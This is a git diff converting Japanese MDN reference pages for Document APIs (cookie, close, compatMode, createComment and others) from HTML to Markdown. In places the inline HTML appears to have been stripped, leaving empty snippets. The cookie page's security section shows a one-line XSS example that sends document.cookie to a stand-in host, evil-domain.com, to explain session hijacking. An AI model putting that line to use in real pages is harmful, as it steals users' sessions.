Demo

+### Demo -

{{EmbedLiveSample('Example', '100%', '300px')}}

+{{EmbedLiveSample('Example', '100%', '300px')}} -

HTML Content

+### HTML Content -
<p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr,
+```html
+

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. -Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.</p>

+Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

+``` -

JavaScript Content

+### JavaScript Content -
function insertBreakAtPoint(e) {
+```js
+function insertBreakAtPoint(e) {
   var range;
   var textNode;
   var offset;
@@ -75,30 +78,18 @@ Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit ame
 
 window.onload = function (){
   var paragraphs = document.getElementsByTagName("p");
-  for (i=0 ; i < paragraphs.length; i++) {
+  for (i=0 ; i < paragraphs.length; i++) {
     paragraphs[i].addEventListener("click", insertBreakAtPoint, false);
   }
-};
+}; +``` -

仕様

+## 仕様 - - - - - - - - - - - - - -
仕様ステータス備考
{{SpecName('CSSOM View','#dom-document-caretpositionfrompoint','caretPositionFromPoint()')}}{{Spec2('CSSOM View')}}Initial definition.
+| 仕様 | ステータス | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | +| {{SpecName('CSSOM View','#dom-document-caretpositionfrompoint','caretPositionFromPoint()')}} | {{Spec2('CSSOM View')}} | Initial definition. | -

ブラウザー実装状況

+## ブラウザー実装状況 - - -

{{Compat("api.DocumentOrShadowRoot.caretPositionFromPoint")}}

+{{Compat("api.DocumentOrShadowRoot.caretPositionFromPoint")}} diff --git a/files/ja/web/api/document/characterset/index.md b/files/ja/web/api/document/characterset/index.md index 8dd172b1a76c0a..e761e466b35c10 100644 --- a/files/ja/web/api/document/characterset/index.md +++ b/files/ja/web/api/document/characterset/index.md @@ -2,46 +2,44 @@ title: Document.characterSet slug: Web/API/Document/characterSet tags: -- API -- DOM -- Document -- Property -- Read-only -- Reference -browser-compat: api.Document.characterSet + - API + - DOM + - Document + - Property + - Read-only + - Reference translation_of: Web/API/Document/characterSet +browser-compat: api.Document.characterSet --- -
{{ ApiRef("DOM") }}
+{{ ApiRef("DOM") }} -

Document.characterSet プロパティは読み取り専用で、文書の文字エンコーディングを表す文字列を返します。 (文字エンコーディングは文字セットであり、入力されたバイト列をどのように文字として解釈するか規定します。)

+**`Document.characterSet`** プロパティは読み取り専用で、文書の[文字エンコーディング](/ja/docs/Glossary/character_encoding)を表す文字列を返します。 (文字エンコーディングは文字セットであり、入力されたバイト列をどのように文字として解釈するか規定します。) -
-

「文字セット」と「文字エンコーディング」は似ていますが違うものです。プロパティ名に反してエンコーディングを返します。

-
+> **Note:** 「文字セット」と「文字エンコーディング」は似ていますが違うものです。プロパティ名に反してエンコーディングを返します。 -

ユーザーは、 Content-Type ヘッダーの中や <meta charset="utf-8"> などのインラインで開発者が指定した文字エンコーディングを上書きできます。例えば Firefox では 表示 → テキストエンコーディング メニューから可能です。このような上書き手段は開発者が誤って指定したエンコーディングによって文字化けを引き起こされたときに直すために提供されています。

+ユーザーは、 [Content-Type](/ja/docs/Web/HTTP/Headers/Content-Type) ヘッダーの中や `` などのインラインで開発者が指定した文字エンコーディングを上書きできます。例えば Firefox では 表示 → テキストエンコーディング メニューから可能です。このような上書き手段は開発者が誤って指定したエンコーディングによって[文字化け](https://ja.wikipedia.org/wiki/%E6%96%87%E5%AD%97%E5%8C%96%E3%81%91)を引き起こされたときに直すために提供されています。 -
-

プロパティ document.charset および document.inputEncoding は、document.characterSet への古いエイリアスです。これらは使用しないでください。

-
+> **Note:** プロパティ `document.charset` および `document.inputEncoding` は、`document.characterSet` への古いエイリアスです。これらは使用しないでください。 -

構文

+## 構文 -
var string = document.characterSet;
+```js +var string = document.characterSet; +``` -

+## 例 -
<button onclick="console.log(document.characterSet);">
+```html
+
+ + +``` -

仕様書

+## 仕様書 {{Specifications}} -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat}}

+{{Compat}} diff --git a/files/ja/web/api/document/childelementcount/index.md b/files/ja/web/api/document/childelementcount/index.md index fcd6244dd002bb..e6fa408a74af63 100644 --- a/files/ja/web/api/document/childelementcount/index.md +++ b/files/ja/web/api/document/childelementcount/index.md @@ -6,41 +6,40 @@ tags: - DOM - Property - Reference -browser-compat: api.Document.childElementCount translation_of: Web/API/Document/childElementCount +browser-compat: api.Document.childElementCount --- -
{{ APIRef("DOM") }}
+{{ APIRef("DOM") }} -

Document.childElementCount は読み取り専用のプロパティで、文書の子要素の数を返します。

+**`Document.childElementCount`** は読み取り専用のプロパティで、文書の子要素の数を返します。 -

特定の要素の子要素の数を取得する場合は、 {{domxref("Element.childElementCount")}} を参照してください。

+特定の要素の子要素の数を取得する場合は、 {{domxref("Element.childElementCount")}} を参照してください。 -

構文

+## 構文 -
document.childElementCount;
-
+```js +document.childElementCount; +``` -

+## 例 -
+```js
 document.children;
-// HTMLCollection で、ふつうは <html> 要素をこの文書の唯一の子として含んでいる
+// HTMLCollection で、ふつうは  要素をこの文書の唯一の子として含んでいる
 
 document.childElementCount;
 // 1
-
+``` -

仕様書

+## 仕様書 {{Specifications}} -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat}}

+{{Compat}} -

関連情報

+## 関連情報 - +- {{domxref("Element.childElementCount")}} +- {{domxref("DocumentFragment.childElementCount")}} diff --git a/files/ja/web/api/document/clear/index.md b/files/ja/web/api/document/clear/index.md index 4f64a97a5d6733..540b79f7c9f143 100644 --- a/files/ja/web/api/document/clear/index.md +++ b/files/ja/web/api/document/clear/index.md @@ -9,23 +9,22 @@ tags: - HTML5 translation_of: Web/API/Document/clear --- -
{{APIRef("DOM")}}{{ Deprecated_header() }}
+{{APIRef("DOM")}}{{ Deprecated_header() }} -

Document.clear() メソッドは指定された文書全体を消去するもので、初期 (1.0 以前) の Mozilla アプリケーションにありました。

+**`Document.clear()`** メソッドは指定された文書全体を消去するもので、初期 (1.0 以前) の Mozilla アプリケーションにありました。 -

近年のバージョンの Mozilla ベースアプリケーションでも、 Internet Explorer や Netscape 4 でも、このメソッドは何も行いません。

+近年のバージョンの Mozilla ベースアプリケーションでも、 Internet Explorer や Netscape 4 でも、このメソッドは何も行いません。 -

構文

+## 構文 -
document.clear();
-
+``` +document.clear(); +``` -

仕様書

+## 仕様書 - +- [HTML5](http://www.whatwg.org/html/#dom-document-clear) -

ブラウザーの対応

+## ブラウザーの対応 -
{{Compat("api.Document.clear")}}
+{{Compat("api.Document.clear")}} diff --git a/files/ja/web/api/document/close/index.md b/files/ja/web/api/document/close/index.md index 927ae4335f9257..bdbd3ad136bb0b 100644 --- a/files/ja/web/api/document/close/index.md +++ b/files/ja/web/api/document/close/index.md @@ -10,51 +10,36 @@ tags: - メソッド translation_of: Web/API/Document/close --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

Document.close() メソッドは、 {{domxref("Document.open()")}} で開かれた文書への書き込みを終了します。

+**`Document.close()`** メソッドは、 {{domxref("Document.open()")}} で開かれた文書への書き込みを終了します。 -

構文

+## 構文 -
document.close();
-
+``` +document.close(); +``` -

+## 例 -
// 書きこむ文書を開きます。
+```
+// 書きこむ文書を開きます。
 document.open();
 
 // 文書の内容を書き込みます。
-document.write("<p>たったひとつの内容。</p>");
+document.write("

たったひとつの内容。

"); // 文書を閉じます。 document.close(); -
- -

仕様書

- - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}}{{Spec2("DOM2 HTML")}}
- -

ブラウザーの対応

- -
{{Compat("api.Document.close")}}
+``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}} | {{Spec2("DOM2 HTML")}} | | + +## ブラウザーの対応 + +{{Compat("api.Document.close")}} diff --git a/files/ja/web/api/document/compatmode/index.md b/files/ja/web/api/document/compatmode/index.md index a5b34c85afb619..d30f4c3c9bd3c3 100644 --- a/files/ja/web/api/document/compatmode/index.md +++ b/files/ja/web/api/document/compatmode/index.md @@ -9,54 +9,39 @@ tags: - Reference translation_of: Web/API/Document/compatMode --- -
{{ ApiRef("DOM") }}
+{{ ApiRef("DOM") }} -

Document.compatMode プロパティは、文書が Quirks モード (互換モード) か標準準拠モードのどちらで表示されているかを示します。

+**`Document.compatMode`** プロパティは、文書が [Quirks モード](/ja/docs/Web/HTML/Quirks_Mode_and_Standards_Mode) (互換モード) か標準準拠モードのどちらで表示されているかを示します。 -

構文

+## 構文 -
const mode = document.compatMode
-
+``` +const mode = document.compatMode +``` -

+### 値 -

列挙値で、次の値を取ります。

+列挙値で、次の値を取ります。 - +- "`BackCompat`" 文書が互換モードの場合。 +- "`CSS1Compat`" 文書が互換モードでない ("standards" モードとも呼ばれる) または限定互換モード ("almost standards" モードとも呼ばれる) 場合。 -
-

注: これらのモードはすべて標準で定義されましたので、より古い "standards" および "almost standards" の名前は無意味であり、もう標準では使用されません。

-
+> **Note:** **注:** これらのモードはすべて標準で定義されましたので、より古い "standards" および "almost standards" の名前は無意味であり、もう標準では使用されません。 -

+## 例 -
if (document.compatMode == "BackCompat") {
+```js
+if (document.compatMode == "BackCompat") {
   // 互換モード
 }
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-compatmode','compatMode')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.compatMode")}}

+``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-compatmode','compatMode')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.compatMode")}} diff --git a/files/ja/web/api/document/contenttype/index.md b/files/ja/web/api/document/contenttype/index.md index ab596b070d4d97..640fd28964bd66 100644 --- a/files/ja/web/api/document/contenttype/index.md +++ b/files/ja/web/api/document/contenttype/index.md @@ -13,42 +13,28 @@ tags: - 読み取り専用 translation_of: Web/API/Document/contentType --- -
{{APIRef}}
+{{APIRef}} -

Document.contentType プロパティは読み取り専用で、文書がレンダリングされる MIME タイプを返します。これは HTTP ヘッダーやその他の MIME 情報のソースから来る可能性があり、ブラウザーや拡張機能によって行われる自動型変換の影響を受ける可能性があります。

+**`Document.contentType`** プロパティは読み取り専用で、文書がレンダリングされる MIME タイプを返します。これは HTTP ヘッダーやその他の MIME 情報のソースから来る可能性があり、ブラウザーや拡張機能によって行われる自動型変換の影響を受ける可能性があります。 -
-

メモ: このプロパティは {{HTMLElement("meta")}} 要素には影響されません。

-
+> **Note:** **メモ:** このプロパティは {{HTMLElement("meta")}} 要素には影響されません。 -

構文

+## 構文 -
contentType = document.contentType;
-
+``` +contentType = document.contentType; +``` -

+### 値 -

contentType は読み取り専用のプロパティです。

+`contentType` は読み取り専用のプロパティです。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-contenttype', 'Document.contentType')}}{{Spec2('DOM WHATWG')}}初回定義
+| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | -------- | +| {{SpecName('DOM WHATWG', '#dom-document-contenttype', 'Document.contentType')}} | {{Spec2('DOM WHATWG')}} | 初回定義 | -

ブラウザーの対応

+## ブラウザーの対応 -
{{Compat("api.Document.contentType")}}
+{{Compat("api.Document.contentType")}} diff --git a/files/ja/web/api/document/cookie/index.md b/files/ja/web/api/document/cookie/index.md index a1c29ae883d174..3c675c0c307f9b 100644 --- a/files/ja/web/api/document/cookie/index.md +++ b/files/ja/web/api/document/cookie/index.md @@ -12,132 +12,140 @@ tags: - ストレージ translation_of: Web/API/Document/cookie --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

{{domxref("Document")}} の cookie プロパティで、文書に関連付けられたクッキーを読み書きすることができます。これは実際のクッキーの値に対するゲッターとセッターとして動作します。

+{{domxref("Document")}} の `cookie` プロパティで、文書に関連付けられた[クッキー](/ja/docs/Web/HTTP/Cookies)を読み書きすることができます。これは実際のクッキーの値に対するゲッターとセッターとして動作します。 -

構文

+## 構文 -

この場所からアクセスできるすべてのクッキーを読む

+### この場所からアクセスできるすべてのクッキーを読む -
allCookies = document.cookie;
+``` +allCookies = document.cookie; +``` -

上記のコードで allCookies は、セミコロンで区切られたクッキーのリストです (つまり key=value のペア)。なお、それぞれの key および value の周囲にはホワイトスペース (空白やタブ文字) をおくことができます。実際のところ、 {{RFC(6265)}} ではそれぞれのセミコロンの後に空白1文字を入れることを必須としていますが、一部のユーザーエージェントはこれに従っていません。

+上記のコードで `allCookies` は、セミコロンで区切られたクッキーのリストです (つまり `key=value` のペア)。なお、それぞれの `key` および `value` の周囲にはホワイトスペース (空白やタブ文字) をおくことができます。実際のところ、 {{RFC(6265)}} ではそれぞれのセミコロンの後に空白 1 文字を入れることを必須としていますが、一部のユーザーエージェントはこれに従っていません。 - +### 新しいクッキーを書き込む - +``` +document.cookie = newCookie; +``` -

上記のコードで、 newCookiekey=value の形式の文字列です。なお、この方法を使用して一度に設定・更新できるクッキーは、一つだけです。

+上記のコードで、 `newCookie` は `key=value` の形式の文字列です。なお、この方法を使用して一度に設定・更新できるクッキーは、一つだけです。 - + > **Note:** **メモ:** ドメインは JavaScript のオリジンと一致している*必要があります*。外部ドメインへのクッキーの設定は暗黙に無視されます。 -
メモ: 上記のコードに見られるように、 document.cookie はネイティブのセッター及びゲッターを持つアクセサープロパティであり、値を持つ データプロパティではありません。書き込んだものと読みこんだものは同じにはならず、常に JavaScript インタープリターに仲介されます。
+ - `;max-age=寿命 (秒数)` (例えば、1 年であれば `60*60*24*365` または 31536000) + - `;expires=GMTString 形式の日付` もし `expires` も `max-age` も指定しなければ、有効期限はセッションの終了までになります。 -

+ > **Warning:** ユーザーのプライバシーを考慮するのであれば、ブラウザーの有効期限の管理に頼るのではなく、ウェブアプリの実装で指定した期間の経過後にクッキーを無効化することが重要です。多くのブラウザーはユーザーがクッキーを無期限に設定することができますが、これは安全ではありません。 -

例 1: 単純な使用方法

+ - 値の形式について知りたい方は、 {{jsxref("Date.toUTCString()")}} をご覧ください。 -
document.cookie = "name=oeschger";
+  - `;secure` https の通信を使用しているときだけ、クッキーが送信されます。 Chrome 52 以前では、このフラグは http ドメインからのクッキーに設定することができました。
+  - `;samesite` [SameSite](/ja/docs/Web/HTTP/Cookies#SameSite_cookies) はブラウザーがこのクッキーをサイト間リクエストで送信することを防ぎます。フラグに利用可能な値は `lax` または `strict` です。
+
+    - `strict` の値は、通常のリンクを追う場合を含め、ブラウザーがすべてのサイト間閲覧コンテキストの対象サイトに向けてクッキーを送信することを防ぎます。
+    - `lax` の値は、トップレベルナビゲーションで GET リクエストの場合のみ、クッキーを送信します。これはユーザーのトラッキングに効率的でありながら、多くの CSRF 攻撃を防ぐことができます。
+
+- クッキーの値の文字列に {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} を使用すると、文字列に (クッキーの値で許可されない) コンマ、セミコロン、ホワイトスペースを使用していないことを確認できます。
+- ユーザーエージェントの実装によっては、以下のクッキーの接頭辞に対応しています。
+
+  - `__Secure-` ブラウザーに、セキュアなチャネルを通してリクエストが送信された場合にのみクッキーを含めるよう指示します。
+  - `__Host-` ブラウザーに、安全なオリジンからのクッキーのみを使用することに加え、クッキーのスコープをサーバーから渡された path 属性に限定します。サーバーが path 属性を省略した場合は、要求の URI の「ディレクトリ」が使用されます。これは、クッキーが他のドメインに送出されることを防ぐために、 domain 属性が存在してはいけないことも指示します。 Chrome では、 path 属性は常にオリジンになります。
+
+  > **Note:** ダッシュは接頭辞の一部とみなされます。
+
+  > **Note:** これらのフラグは `secure` 属性と一緒の場合のみ設定できます。
+
+> **Note:** **メモ:** 上記のコードに見られるように、 `document.cookie` はネイティブの*セッター*及び*ゲッター*を持つ[アクセサープロパティ](/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description)であり、値を持つ [データプロパティ](/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description)では*ありません*。書き込んだものと読みこんだものは同じにはならず、常に JavaScript インタープリターに仲介されます。
+
+## 例
+
+### 例 1: 単純な使用方法
+
+```js
+document.cookie = "name=oeschger";
 document.cookie = "favorite_food=tripe";
 function alertCookie() {
   alert(document.cookie);
 }
-
+``` -
<button onclick="alertCookie()">Show cookies</button>
-
+```html + +``` -

{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}

+{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}} - +### 例 2: _test2_ という名前のサンプルクッキーを取得 -
document.cookie = "test1=Hello";
+```js
+document.cookie = "test1=Hello";
 document.cookie = "test2=World";
 
 const cookieValue = document.cookie
   .split('; ')
-  .find(row => row.startsWith('test2'))
+  .find(row => row.startsWith('test2'))
   .split('=')[1];
 
 function alertCookieValue() {
   alert(cookieValue);
 }
-
+``` -
<button onclick="alertCookieValue()">Show cookie value</button>
+```html + +``` -

{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}

+{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}} -

例 3: 一度だけ何かを行う

+### 例 3: 一度だけ何かを行う -

以下のコードを使用するためには、すべての doSomethingOnlyOnce の語 (クッキーの名前) が現れるところを専用の名前に置き換えてください。

+以下のコードを使用するためには、すべての `doSomethingOnlyOnce` の語 (クッキーの名前) が現れるところを専用の名前に置き換えてください。 -
function doOnce() {
+```js
+function doOnce() {
   if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
     alert("Do something here!");
     document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
   }
-}
+} +``` -
<button onclick="doOnce()">Only do something once</button>
+```html + +``` -

{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}

+{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}} - +### 例 4: 前回のクッキーをリセット -
function resetOnce() {
+```js
+function resetOnce() {
   document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
-}
+} +``` -
<button onclick="resetOnce()">Reset only once cookie</button>
+```html + +``` -

{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}

+{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}} - +### 例 5: クッキーの存在をチェック -
//ES5
+```js
+//ES5
 
 if (document.cookie.split(';').some(function(item) {
     return item.trim().indexOf('reader=') == 0
@@ -147,103 +155,87 @@ if (document.cookie.split(';').some(function(item) {
 
 //ES2016
 
-if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
+if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
     console.log('The cookie "reader" exists (ES6)')
 }
-
+``` - +### 例 6: クッキーが特定の値を持っていることをチェック -
//ES5
+```js
+//ES5
 
 if (document.cookie.split(';').some(function(item) {
-    return item.indexOf('reader=1') >= 0
+    return item.indexOf('reader=1') >= 0
 })) {
     console.log('The cookie "reader" has "1" for value')
 }
 
 //ES2016
 
-if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
+if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
     console.log('The cookie "reader" has "1" for value')
 }
-
+``` -

セキュリティ

+## セキュリティ -

path 属性は、異なるパスによる認証されていないクッキーの読み込みから守ってくれないということに注意することが重要です。これはシンプルな DOM で簡単にバイパスできます (たとえば、クッキーのパスとともに隠し {{HTMLElement("iframe")}} 要素を生成して、この iframe の contentDocument.cookie プロパティにアクセスします)。クッキーのアクセスを守る唯一の方法は、異なるドメインやサブドメインを使うことで、同一オリジンポリシーを適用することです。

+`path` 属性は、異なるパスによる認証されていないクッキーの読み込みから守ってくれ*ない*ということに注意することが重要です。これはシンプルな DOM で簡単にバイパスできます (たとえば、クッキーのパスとともに隠し {{HTMLElement("iframe")}} 要素を生成して、この iframe の `contentDocument.cookie` プロパティにアクセスします)。クッキーのアクセスを守る唯一の方法は、異なるドメインやサブドメインを使うことで、[同一オリジンポリシー](/ja/docs/Same_origin_policy_for_JavaScript)を適用することです。 -

クッキーは普段、ウェブアプリケーションでユーザーと認証されたセッションを識別するために使われます。そこで、ウェブアプリケーションからのクッキーを盗まれると、認証されたユーザーのセッションハイジャックにつながります。クッキーを盗むための一般的な方法は、ソーシャルエンジニアリングを使用するか、アプリケーション内の XSS 脆弱性の悪用です。

+クッキーは普段、ウェブアプリケーションでユーザーと認証されたセッションを識別するために使われます。そこで、ウェブアプリケーションからのクッキーを盗まれると、認証されたユーザーのセッションハイジャックにつながります。クッキーを盗むための一般的な方法は、ソーシャルエンジニアリングを使用するか、アプリケーション内の XSS 脆弱性の悪用です。 -
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
-
+```js +(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +``` -

HTTPOnly クッキー属性は、 JavaScript からのクッキー値へのアクセスを防止することで、この攻撃を軽減することに役立ちます。より詳細情報は Cookies and Security を見てください。

+`HTTPOnly` クッキー属性は、 JavaScript からのクッキー値へのアクセスを防止することで、この攻撃を軽減することに役立ちます。より詳細情報は [Cookies and Security](http://www.nczonline.net/blog/2009/05/12/cookies-and-security/) を見てください。 -

メモ

+## メモ - +- Firefox 2 から、より良いクライアント側ストレージの機構を利用できます。 - [WHATWG DOM ストレージ](/ja/docs/DOM/Storage)です。 +- 有効期限を 0 に更新するだけで、クッキーを削除できます。 +- クッキーを持てば持つほど、サーバとクライアント間の通信で、より多くのデータが送信されることを忘れないでください。これはリクエストを遅くします。もし、クライアントだけにデータを持たせ続けたいなら、 [WHATWG DOM ストレージ](/ja/docs/DOM/Storage) を使うことを強くお勧めします。 +- [RFC 2965](http://www.ietf.org/rfc/rfc2965.txt) (5.3 章, "Implementation Limits") は、クッキーのキーまたは値の長さについて**最大長を設けない**よう指定しており、 **arbitrarily large cookies** への対応を実装するよう勧めています。各ブラウザーの実装では最大値は異なっている可能性があるので、それぞれのブラウザーのドキュメントを参照してください。 -

document.cookie アクセサープロパティの構文は、クッキーのクライアント・サーバー型の性質によるもので、他のクライアント・クライアントストレージメソッド (例えば localStorage など) とは異なります。

+`document.cookie` アクセサープロパティの[構文](#Syntax)は、クッキーのクライアント・サーバー型の性質によるもので、他のクライアント・クライアントストレージメソッド (例えば [localStorage](/ja/docs/Web/Guide/API/DOM/Storage) など) とは異なります。 - +#### サーバーがクライアントにクッキーを格納するよう指示する -
HTTP/1.0 200 OK
+```
+HTTP/1.0 200 OK
 Content-type: text/html
 Set-Cookie: cookie_name1=cookie_value1
 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
 
-[content of the page here]
+[content of the page here] +``` -

クライアントが以前格納されたクッキーをサーバーに送り返す

+#### クライアントが以前格納されたクッキーをサーバーに送り返す -
GET /sample_page.html HTTP/1.1
+```
+GET /sample_page.html HTTP/1.1
 Host: www.example.org
 Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
 Accept: */*
-
- -

仕様書

- - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}{{Spec2("DOM2 HTML")}}初回定義
{{SpecName("Cookie Prefixes")}}{{Spec2("Cookie Prefixes")}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.cookie")}}

- -

関連情報

- - +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | ------------------------------------ | -------- | +| {{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}} | {{Spec2("DOM2 HTML")}} | 初回定義 | +| {{SpecName("Cookie Prefixes")}} | {{Spec2("Cookie Prefixes")}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.cookie")}} + +## 関連情報 + +- [HTTP Cookie](/ja/docs/Web/HTTP/Cookies) +- [DOM ストレージ](/ja/docs/Web/Guide/API/DOM/Storage) +- [`URLUtils.pathname`](/ja/docs/Web/API/URLUtils.pathname) +- {{jsxref("Date.toUTCString()")}} +- [`HTTP`](/ja/docs/Web/HTTP) +- [Cookie (コードスニペット)](/ja/docs/Code_snippets/Cookies) +- [RFC 2965](https://tools.ietf.org/html/rfc2965) diff --git a/files/ja/web/api/document/copy_event/index.md b/files/ja/web/api/document/copy_event/index.md index 00c2a97df8d736..c1b9184de84d3a 100644 --- a/files/ja/web/api/document/copy_event/index.md +++ b/files/ja/web/api/document/copy_event/index.md @@ -11,64 +11,53 @@ tags: - copy translation_of: Web/API/Document/copy_event --- -
{{APIRef}}
+{{APIRef}} -

copy イベントは、ユーザーがブラウザーのユーザーインターフェイスからコピー操作を実行したときに発生します。

+**`copy`** イベントは、ユーザーがブラウザーのユーザーインターフェイスからコピー操作を実行したときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/oncopy", "oncopy")}}
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/oncopy", "oncopy")}}
-

このイベントの本来の対象は、コピー操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 Element: copy イベントを参照してください。

+このイベントの本来の対象は、コピー操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 [Element: copy イベント](/ja/docs/Web/API/Element/copy_event)を参照してください。 -

+## 例 -
document.addEventListener('copy', (event) => {
+```js
+document.addEventListener('copy', (event) => {
     console.log('copy action initiated')
-});
+}); +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Clipboard API', '#clipboard-event-copy')}}{{Spec2('Clipboard API')}}
+| 仕様書 | 状態 | +| ------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Clipboard API', '#clipboard-event-copy')}} | {{Spec2('Clipboard API')}} | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.copy_event")}}

+{{Compat("api.Document.copy_event")}} -

関連情報

+## 関連情報 - +- 関連イベント: {{domxref("Document/cut_event", "cut")}}, {{domxref("Document/paste_event", "paste")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/copy_event", "copy")}} +- {{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/copy_event", "copy")}} diff --git a/files/ja/web/api/document/createcomment/index.md b/files/ja/web/api/document/createcomment/index.md index 4597c5f1b7cc8a..d9df975612423e 100644 --- a/files/ja/web/api/document/createcomment/index.md +++ b/files/ja/web/api/document/createcomment/index.md @@ -8,51 +8,39 @@ tags: - Reference translation_of: Web/API/Document/createComment --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

createComment() は新たにコメントノードを作成し、返します。

+**`createComment()`** は新たにコメントノードを作成し、返します。 -

構文

+## 構文 -
CommentNode = document.createComment(data);
-
+``` +CommentNode = document.createComment(data); +``` -

引数

+### 引数 -
-
data
-
文字列で、コメントに追加されるデータを含みます。
-
+- _data_ + - : 文字列で、コメントに追加されるデータを含みます。 -

+## 例 -
var docu = new DOMParser().parseFromString('<xml></xml>',  'application/xml');
+```js
+var docu = new DOMParser().parseFromString('',  'application/xml');
 var comment = docu.createComment('This is a not-so-secret comment in your document');
 
 docu.getElementsByTagName('xml')[0].appendChild(comment);
 
 alert(new XMLSerializer().serializeToString(docu));
-// 表示結果: <xml><!--This is a not-so-secret comment in your document--></xml>
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createcomment', 'document.createComment')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.createComment")}}

+// 表示結果: +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-createcomment', 'document.createComment')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.createComment")}} diff --git a/files/ja/web/api/document/createdocumentfragment/index.md b/files/ja/web/api/document/createdocumentfragment/index.md index 82f73ce95f98ea..0d71fb252197db 100644 --- a/files/ja/web/api/document/createdocumentfragment/index.md +++ b/files/ja/web/api/document/createdocumentfragment/index.md @@ -10,41 +10,47 @@ tags: - createDocumentFragment translation_of: Web/API/Document/createDocumentFragment --- -

{{APIRef("DOM WHATWG")}}

+{{APIRef("DOM WHATWG")}} -

新しい空の {{domxref("DocumentFragment")}} を作成し、そこに DOM ノードを追加して画面外の DOM ツリーを作成します。

